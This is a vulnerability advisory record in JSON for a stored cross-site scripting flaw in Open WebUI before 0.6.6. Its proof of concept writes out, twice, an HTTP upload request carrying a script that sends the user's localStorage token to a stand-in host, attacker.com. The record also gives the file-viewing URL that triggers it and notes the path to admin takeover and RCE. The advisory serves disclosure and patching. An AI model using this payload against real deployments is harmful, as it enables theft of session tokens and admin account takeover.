{"id":"CVE-2025-46571","aliases":["GHSA-8gh5-qqh8-hq3x"],"title":"Open WebUI  allows limited stored XSS vila uploaded html file","summary":"Open WebUI  allows limited stored XSS vila uploaded html file","severity":"medium","cwe":["CWE-79","CWE-87"],"vendor":"open-webui","product":"open-webui","ecosystem":"pip","affected":["open-webui < 0.6.6"],"patched":["open-webui 0.6.6"],"published":"2026-07-07","updated":"2026-07-07","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-8gh5-qqh8-hq3x","references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-8gh5-qqh8-hq3x"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46571"},{"url":"https://github.com/open-webui/open-webui/commit/ef2aeb7c0eb976bac759e59ac359c94a5b8dc7e0"},{"url":"https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438"},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.6.6"},{"url":"https://github.com/advisories/GHSA-8gh5-qqh8-hq3x"}],"tags":["ghsa","pip"],"epss":0.00353,"epssPercentile":0.29084,"ingestedAt":"2026-07-07T17:42:07.384Z","slug":"CVE-2025-46571","body":"## Overview\n\n### Summary\nLow privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.\n\n### Details\n\nThe following HTTP request can be sent to the backend server to upload a file with the contents:\n`<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>`\n\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n<h1>padding</h1>\n<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nNote the `filename=\"test.html\"` , `Content-Type: text/html`, and `<h1>padding</h`> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `<script>` tag. \n\nThe backend server responds to the above request with JSON data that contains an `id` parameter. \n\n![image](https://github.com/user-attachments/assets/ac15e108-d385-4e58-b29a-eb79aafbffda)\n\nThis ID can be used to view the uploaded file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html`\n\nBecause of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.\n\n### PoC\n\nFirst, upload an html containing JavaScript code to the backend server using the following HTTP request:\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n<h1>padding</h1>\n<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nThen copy the `id` from the response and use it to view the file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html`\n\n\n### Impact\n\nLow privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766\n\n## Affected packages\n\n- `open-webui < 0.6.6`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `open-webui 0.6.6`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}